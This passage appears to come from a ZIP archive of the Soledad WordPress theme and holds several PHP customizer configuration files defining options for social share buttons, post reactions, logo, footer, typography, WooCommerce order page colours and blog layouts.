		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'email'       => array( esc_html__( 'Hide Email Share Button', 'soledad' ), '' ),
	'link'        => array( esc_html__( 'Hide Copy Link Button', 'soledad' ), '' ),
);
foreach ( $list_block_social as $social_id => $social_label ) {
	$default = '';
	if ( in_array( $social_id, array(
		'messenger',
		'vk',
		'ok',
		'pocket',
		'skype',
		'viber',
		'linkedin',
		'tumblr',
		'reddit',
		'stumbleupon',
		'whatsapp',
		'telegram',
		'link',
		'threads',
		'bluesky',
		'line'
	) ) ) {
		$default = 1;
	}
	$options[] = array(
		'label'       => $social_label[0],
		'description' => $social_label[1],
		'type'        => 'soledad-fw-toggle',
		'id'          => 'penci__hide_share_' . $social_id,
		'sanitize'    => 'penci_sanitize_checkbox_field',
		'default'     => $default
	);
}
$options[] = array(
	'label'       => __( 'Custom Sharing Text for Twitter', 'soledad' ),
	'description' => __( 'Custom prefix text on preview share of Twitter', 'soledad' ),
	'id'          => 'penci_post_twitter_share_text',
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label' => __( 'Post Reactions', 'soledad' ),
	'id'    => 'penci_post_reactions_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Enable the Post Reactions', 'soledad' ),
	'id'       => 'penci_post_reactions_enable',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Post Reactions Items', 'soledad' ),
	'id'       => 'penci_post_reactions_items',
	'type'     => 'soledad-fw-select',
	'default'  => [ 'like', 'love', 'haha', 'wow', 'sad', 'angry' ],
	'multiple' => 999,
	'choices'  => [
		'like'  => __( 'Like', 'soledad' ),
		'love'  => __( 'Love', 'soledad' ),
		'haha'  => __( 'Haha', 'soledad' ),
		'wow'   => __( 'Wow', 'soledad' ),
		'wow'   => __( 'Wow', 'soledad' ),
		'sad'   => __( 'Sad', 'soledad' ),
		'angry' => __( 'Angry', 'soledad' ),
	],
	'sanitize' => 'penci_sanitize_choices_field'
);

return $options;
PK     0w\=    C  customizer/config/sections/pencidesign_logo_header_logo_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Upload Logo', 'soledad' ),
	'id'       => 'penci_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Upload Logo for Mobile', 'soledad' ),
	'id'       => 'penci_mobile_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Set A Max Width for Logo', 'soledad' ),
	'id'       => 'penci_logo_max_width',
	'ids'      => array(
		'desktop' => 'penci_logo_max_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_logo_height_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Set A Height for Logo Image', 'soledad' ),
	'id'       => 'penci_logo_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_logo_height',
		'mobile'  => 'penci_logo_height_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize'    => 'esc_url_raw',
	'label'       => __( 'Upload Logo for Transparent Header style 6, 9, 10 & 11', 'soledad' ),
	'id'          => 'penci_upload_transparent_logo',
	'type'        => 'soledad-fw-image',
	'description'=>__('Important Note: This option apply when you use transparent header only','soledad'),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Link for Logo Image', 'soledad' ),
	'id'          => 'penci_custom_url_logo',
	'description'=>__('By default, logo image will link to homepage url. If you want to link the logo for another URL - fill here. Include http:// or https:// on the link','soledad'),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'         => '40',
	'sanitize'        => 'absint',
	'type'            => 'soledad-fw-size',
	'label'           => __( 'Logo Padding Top & Bottom', 'soledad' ),
	'sub_description' => __( 'This option does not apply for header layout 6, 9, 10, 11', 'soledad' ),
	'id'              => 'penci_header_padding',
	'ids'             => array(
		'desktop' => 'penci_header_padding',
	),
	'choices'         => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Overflow Logo for Header Layout 10 & 11', 'soledad' ),
	'id'       => 'penci_overflow_logo',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Max Width for Sticky Logo on Header 10 & 11', 'soledad' ),
	'description' => __( 'This option just apply when you use overflow logo for header layout 10 & 11', 'soledad' ),
	'id'          => 'penci_logo_max_width_overflow',
	'ids'         => array(
		'desktop' => 'penci_logo_max_width_overflow',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\.  .  C  customizer/config/sections/penci_section_footer_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'Add Google Adsense/Custom HTML Code Above Footer', 'soledad' ),
	'id'          => 'penci_footer_adsense',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => __( 'Footer Container Width', 'soledad' ),
	'id'       => 'penci_footer_width',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''          => esc_html__( 'Width: 1170px', 'soledad' ),
		'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
		'fullwidth' => esc_html__( 'Full Width', 'soledad' )
	)
);
$options[] = array(
	'label'    => __( 'Re-order Sections on the Footer', 'soledad' ),
	'id'       => 'penci_footer_order_sections',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'widgets-instagram-signupform-footersocial' => __( 'Widgets Area - Instagram - SignUp Form - Social Icons', 'soledad' ),
		'widgets-instagram-footersocial-signupform' => __( 'Widgets Area - Instagram - Social Icons - SignUp Form', 'soledad' ),
		'widgets-footersocial-instagram-signupform' => __( 'Widgets Area - Social Icons - Instagram - SignUp Form', 'soledad' ),
		'widgets-footersocial-signupform-instagram' => __( 'Widgets Area - Social Icons - SignUp Form - Instagram', 'soledad' ),
		'widgets-signupform-footersocial-instagram' => __( 'Widgets Area - SignUp Form - Social Icons - Instagram', 'soledad' ),
		'widgets-signupform-instagram-footersocial' => __( 'Widgets Area - SignUp Form - Instagram - Social Icons', 'soledad' ),
		'instagram-widgets-signupform-footersocial' => __( 'Instagram - Widgets Area - SignUp Form - Social Icons', 'soledad' ),
		'instagram-widgets-footersocial-signupform' => __( 'Instagram - Widgets Area - Social Icons - SignUp Form', 'soledad' ),
		'instagram-footersocial-widgets-signupform' => __( 'Instagram - Social Icons - Widgets Area - SignUp Form', 'soledad' ),
		'instagram-footersocial-signupform-widgets' => __( 'Instagram - Social Icons - SignUp Form - Widgets Area', 'soledad' ),
		'instagram-signupform-footersocial-widgets' => __( 'Instagram - SignUp Form - Social Icons - Widgets Area', 'soledad' ),
		'instagram-signupform-widgets-footersocial' => __( 'Instagram - SignUp Form - Widgets Area - Social Icons', 'soledad' ),
		'signupform-widgets-footersocial-instagram' => __( 'SignUp Form - Widgets Area - Social Icons - Instagram', 'soledad' ),
		'signupform-widgets-instagram-footersocial' => __( 'SignUp Form - Widgets Area - Instagram - Social Icons', 'soledad' ),
		'signupform-footersocial-widgets-instagram' => __( 'SignUp Form - Social Icons - Widgets Area - Instagram', 'soledad' ),
		'signupform-footersocial-instagram-widgets' => __( 'SignUp Form - Social Icons - Instagram - Widgets Area', 'soledad' ),
		'signupform-instagram-widgets-footersocial' => __( 'SignUp Form - Instagram - Widgets Area - Social Icons', 'soledad' ),
		'signupform-instagram-footersocial-widgets' => __( 'SignUp Form - Instagram - Social Icons - Widgets Area', 'soledad' ),
		'footersocial-widgets-instagram-signupform' => __( 'Social Icons - Widgets Area - Instagram - SignUp Form', 'soledad' ),
		'footersocial-widgets-signupform-instagram' => __( 'Social Icons - Widgets Area - SignUp Form - Instagram', 'soledad' ),
		'footersocial-instagram-signupform-widgets' => __( 'Social Icons - Instagram - SignUp Form - Widgets Area', 'soledad' ),
		'footersocial-instagram-widgets-signupform' => __( 'Social Icons - Instagram - Widgets Area - SignUp Form', 'soledad' ),
		'footersocial-signupform-widgets-instagram' => __( 'Social Icons - SignUp Form - Widgets Area - Instagram', 'soledad' ),
		'footersocial-signupform-instagram-widgets' => __( 'Social Icons - SignUp Form - Instagram - Widgets Area', 'soledad' ),
	),
	'default'  => 'widgets-instagram-signupform-footersocial',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Enable Footer Content Delayed', 'soledad' ),
	'description' => __( 'This option doesn\'t work with the Footer Builder from Elementor itself.', 'soledad' ),
	'id'          => 'penci_footer_delayed',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_social',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Border Around Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_social_around',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Use Brand Colors for Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_brand_social',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Border Radius on Border of Social Icons', 'soledad' ),
	'id'       => 'penci_footer_disable_radius_social',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Footer Social Icons Text', 'soledad' ),
	'id'       => 'penci_footer_social_remove_text',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Make Footer Social Text Drop In New Line', 'soledad' ),
	'id'       => 'penci_footer_social_drop_line',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Icons on Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_social_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_social_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Disable Uppercase on Footer Social Icons Text', 'soledad' ),
	'id'       => 'penci_footer_social_lowercase',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Social Icons Text', 'soledad' ),
	'id'       => 'penci_footer_social_text_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_social_text_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Disable Footer Logo', 'soledad' ),
	'section'  => 'penci_section_footer_general',
	'id'       => 'penci_hide_footer_logo',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Footer Logo', 'soledad' ),
	'section'  => 'penci_section_footer_general',
	'id'       => 'penci_footer_logo',
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image'
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_footer_mwlogo_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Set A Max-Width for Footer Logo', 'soledad' ),
	'id'       => 'penci_footer_mwlogo',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_footer_mwlogo',
		'mobile'  => 'penci_footer_mwlogo_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => __( 'Custom Link for Footer Logo Image', 'soledad' ),
	'id'          => 'penci_custom_url_logo_footer',
	'description' => __( 'By default, footer logo image will link to homepage url. If you want to link the footer logo for another URL - fill here. Include http:// or https:// on the link', 'soledad' ),
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Go To Top Style', 'soledad' ),
	'id'       => 'penci_go_to_top_style',
	'type'     => 'soledad-fw-select',
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		'style-1' => esc_html__( 'Style 1', 'soledad' ),
		'style-2' => esc_html__( 'Style 2', 'soledad' ),
		'style-3' => esc_html__( 'Style 3', 'soledad' ),
	)
);
$options[] = array(
	'label'    => __( 'Disable Go To Top Button on Footer', 'soledad' ),
	'id'       => 'penci_go_to_top',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Go To Top Button Floating on The Bottom Right', 'soledad' ),
	'id'       => 'penci_go_to_top_floating',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Footer Menu', 'soledad' ),
	'id'          => 'penci_footer_menu',
	'description' => __( 'You can setup your footer menu by go to admin > Appearance > Menus > Create/Select your menu > scroll down and check to "Footer Menu" at the bottom.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Menu', 'soledad' ),
	'id'       => 'penci_footer_menu_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_menu_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright',
	'type'     => 'soledad-fw-textarea',
	'default'  => __( '@2020 - All Right Reserved. Designed and Developed by <a class="wp-customizer-link" rel="nofollow" href="https://1.envato.market/YYJ4P" target="_blank">PenciDesign</a>', 'soledad' ),
	'sanitize' => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => __( 'Disable Italic on Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright_remove_italic',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_copyright_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'     => __( 'Add Custom HTML code before close </body> tag / Google Analytics Code', 'soledad' ),
	'id'        => 'penci_footer_analytics',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field'
);

return $options;
PK     0w\V    I  customizer/config/sections/penci_section_spost_cptype_builder_section.phpnu [        <?php
$options = [];

$post_types = penci_get_published_posttypes();
if ( is_array( $post_types ) && ! empty( $post_types ) ) {
	$single_layout     = [];
	$single_layout[''] = esc_attr__( 'None' );
	$single_layouts    = get_posts( [
		'post_type'      => 'custom-post-template',
		'posts_per_page' => - 1,
		'meta_query'     => array(
			'relation' => 'OR',
			array(
				'key'     => 'penci_desktop_page_id',
				'compare' => 'NOT EXISTS',
			),
			array(
				'key'     => 'penci_desktop_page_id',
				'value'   => '',
				'compare' => '=',
			),
		),
	] );
	foreach ( $single_layouts as $slayout ) {
		$single_layout[ $slayout->post_name ] = $slayout->post_title;
	}

	foreach ( $post_types as $type ) {

		$type_data = get_post_type_object( $type );

		$options[] = array(
			'default'     => '',
			'description' => __( 'This option will override the pre-build Single  ' . $type_data->label . ' Template. You can add new and edit a builder template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=custom-post-template' ) ) . '">this page</a>.', 'soledad' ),
			'sanitize'    => 'penci_sanitize_choices_field',
			'label'       => __( 'Custom Single ' . $type_data->label . ' Template', 'soledad' ),
			'id'          => 'penci_' . $type . '_custom_template',
			'type'        => 'soledad-fw-select',
			'choices'     => $single_layout
		);
	}

} else {
	$options[] = array(
		'default'     => 'notice',
		'description' => '',
		'label'       => __( 'Your website doesn\'t have any custom post types that need to be built.', 'soledad' ),
		'id'          => 'penci_custom_template_notice',
		'type'        => 'soledad-fw-alert',
	);
}

return $options;
PK     0w\<tsS  S  J  customizer/config/sections/pencidesign_woo_ordercompleted_page_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_woo_checkout_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_head_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Heading Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'General Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_success_icon_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Sucess Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_success_icon_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Sucess Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_success_thankyou_text',
	'default'   => 'Thank you. Your order has been received.',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Custom Thankyou Text', 'soledad' ),
	'type'      => 'soledad-fw-textarea',
);

return $options;
PK     0w\!    E  customizer/config/sections/pencidesign_general_typography_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label' => __( 'General Typography Settings', 'soledad' ),
	'id'    => 'penci_font_heading_titles',
	'type'  => 'soledad-fw-header',
);

$options[] = array(
	'label'       => __( 'Font For Heading Titles', 'soledad' ),
	'id'          => 'penci_font_for_title',
	'description' => __( 'Default font is "Raleway"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts(),
	'default'     => '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font For Heading Titles on Mobile', 'soledad' ),
	'id'       => 'penci_font_for_title_mobile',
	'type'     => 'soledad-fw-select',
	'choices'  => penci_all_fonts(),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font Weight For Heading Titles', 'soledad' ),
	'id'       => 'penci_font_weight_title',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''        => __( '- Select -', 'soledad' ),
		'normal'  => __( 'Normal', 'soledad' ),
		'bold'    => __( 'Bold', 'soledad' ),
		'bolder'  => __( 'Bolder', 'soledad' ),
		'lighter' => __( 'Lighter', 'soledad' ),
		'100'     => __( '100', 'soledad' ),
		'200'     => __( '200', 'soledad' ),
		'300'     => __( '300', 'soledad' ),
		'400'     => __( '400', 'soledad' ),
		'500'     => __( '500', 'soledad' ),
		'600'     => __( '600', 'soledad' ),
		'700'     => __( '700', 'soledad' ),
		'800'     => __( '800', 'soledad' ),
		'900'     => __( '900', 'soledad' ),
	)
);
$options[] = array(
	'label'       => __( 'Font For Body Text', 'soledad' ),
	'id'          => 'penci_font_for_body',
	'description' => __( 'Default font is "PT Serif"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts(),
	'default'     => '"PT Serif", "regular:italic:700:700italic", serif',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font For Body Text on Mobile', 'soledad' ),
	'id'       => 'penci_font_for_body_mobile',
	'type'     => 'soledad-fw-select',
	'choices'  => penci_all_fonts(),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font Weight For Body Text', 'soledad' ),
	'id'       => 'penci_font_weight_bodytext',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''        => __( '- Select -', 'soledad' ),
		'normal'  => __( 'Normal', 'soledad' ),
		'bold'    => __( 'Bold', 'soledad' ),
		'bolder'  => __( 'Bolder', 'soledad' ),
		'lighter' => __( 'Lighter', 'soledad' ),
		'100'     => __( '100', 'soledad' ),
		'200'     => __( '200', 'soledad' ),
		'300'     => __( '300', 'soledad' ),
		'400'     => __( '400', 'soledad' ),
		'500'     => __( '500', 'soledad' ),
		'600'     => __( '600', 'soledad' ),
		'700'     => __( '700', 'soledad' ),
		'800'     => __( '800', 'soledad' ),
		'900'     => __( '900', 'soledad' ),
	)
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_font_mfor_size_body',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
	'default'  => '14',
);
$options[] = array(
	'label'    => __( 'General Font Size for Text', 'soledad' ),
	'id'       => 'penci_font_for_size_body',
	'type'     => 'soledad-fw-size',
	'default'  => '14',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_font_for_size_body',
		'mobile'  => 'penci_font_mfor_size_body',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'General Line Height for Text', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'id'       => 'penci_body_line_height',
	'default'  => '1.8',
	'sanitize' => 'penci_sanitize_decimal_empty_field',
	'ids'      => array(
		'desktop' => 'penci_body_line_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '1.8',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_archive_mobile_fpagetitle',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
	'default'  => '16',
);
$options[] = array(
	'label'       => __( 'Font Size for Archive Page Title', 'soledad' ),
	'description' => __( 'Apply for Category Page Title, Tag Page Title, Search Page Title, Archive Page Title - check more on <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/archive-page-title.png" target="_blank">this image</a>', 'soledad' ),
	'id'          => 'penci_archive_fpagetitle',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'default'     => '24',
	'ids'         => array(
		'desktop' => 'penci_archive_fpagetitle',
		'mobile'  => 'penci_archive_mobile_fpagetitle',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'label'    => __( 'Disable Uppercase on Archive Page Title', 'soledad' ),
	'id'       => 'penci_archive_uppagetitle',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'id'       => 'penci_body_breadcrumbs',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Breadcrumbs', 'soledad' ),
	'default'  => '13',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_body_breadcrumbs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for "Load More Posts" & Pagination Button', 'soledad' ),
	'id'       => 'penci_home_loadmore_size',
	'type'     => 'soledad-fw-size',
	'default'  => '12',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_home_loadmore_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);

$options[] = array(
	'label' => __( 'Advanced Typography Settings', 'soledad' ),
	'id'    => 'penci_font_advanced_typography',
	'type'  => 'soledad-fw-header',
);

for ( $i = 1; $i <= 6; $i ++ ) {
	$options[] = array(
		'label'    => '',
		'id'       => 'penci_font_gh' . $i . '_mfont_size',
		'type'     => 'soledad-fw-hidden',
		'sanitize' => 'absint',
		'default'  => '',
	);
	$options[] = array(
		'label'    => __( 'H' . $i . ' Font Size', 'soledad' ),
		'id'       => 'penci_font_gh' . $i . '_font_size',
		'type'     => 'soledad-fw-size',
		'sanitize' => 'absint',
		'default'  => '',
		'ids'      => array(
			'desktop' => 'penci_font_gh' . $i . '_font_size',
			'mobile'  => 'penci_font_gh' . $i . '_mfont_size',
		),
		'choices'  => array(
			'desktop' => array(
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'edit'    => true,
				'unit'    => 'px',
				'default' => '',
			),
			'mobile'  => array(
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'edit'    => true,
				'unit'    => 'px',
				'default' => '',
			),
		),
	);
}

return $options;
PK     0w\U
  
  F  customizer/config/sections/pencidesign_posts_page_settings_section.phpnu [        <?php
$options = [];

$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Posts Page ( Blog ) Template', 'soledad' ),
	'id'       => 'penci_blogpage_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                 => __( 'Follow Homepage Setting', 'soledad' ),
		'standard'         => __( 'Standard Posts', 'soledad' ),
		'classic'          => __( 'Classic Posts', 'soledad' ),
		'overlay'          => __( 'Overlay Posts', 'soledad' ),
		'featured'         => __( 'Featured Boxed Posts', 'soledad' ),
		'grid'             => __( 'Grid Posts', 'soledad' ),
		'grid-2'           => __( 'Grid 2 Columns Posts', 'soledad' ),
		'masonry'          => __( 'Grid Masonry Posts', 'soledad' ),
		'masonry-2'        => __( 'Grid Masonry 2 Columns Posts', 'soledad' ),
		'list'             => __( 'List Posts', 'soledad' ),
		'small-list'       => __( 'Small List Posts', 'soledad' ),
		'boxed-1'          => __( 'Boxed Posts Style 1', 'soledad' ),
		'boxed-2'          => __( 'Boxed Posts Style 2', 'soledad' ),
		'mixed'            => __( 'Mixed Posts', 'soledad' ),
		'mixed-2'          => __( 'Mixed Posts Style 2', 'soledad' ),
		'mixed-3'          => __( 'Mixed Posts Style 3', 'soledad' ),
		'mixed-4'          => __( 'Mixed Posts Style 4', 'soledad' ),
		'photography'      => __( 'Photography Posts', 'soledad' ),
		'magazine-1'       => __( 'Magazine Style 1', 'soledad' ),
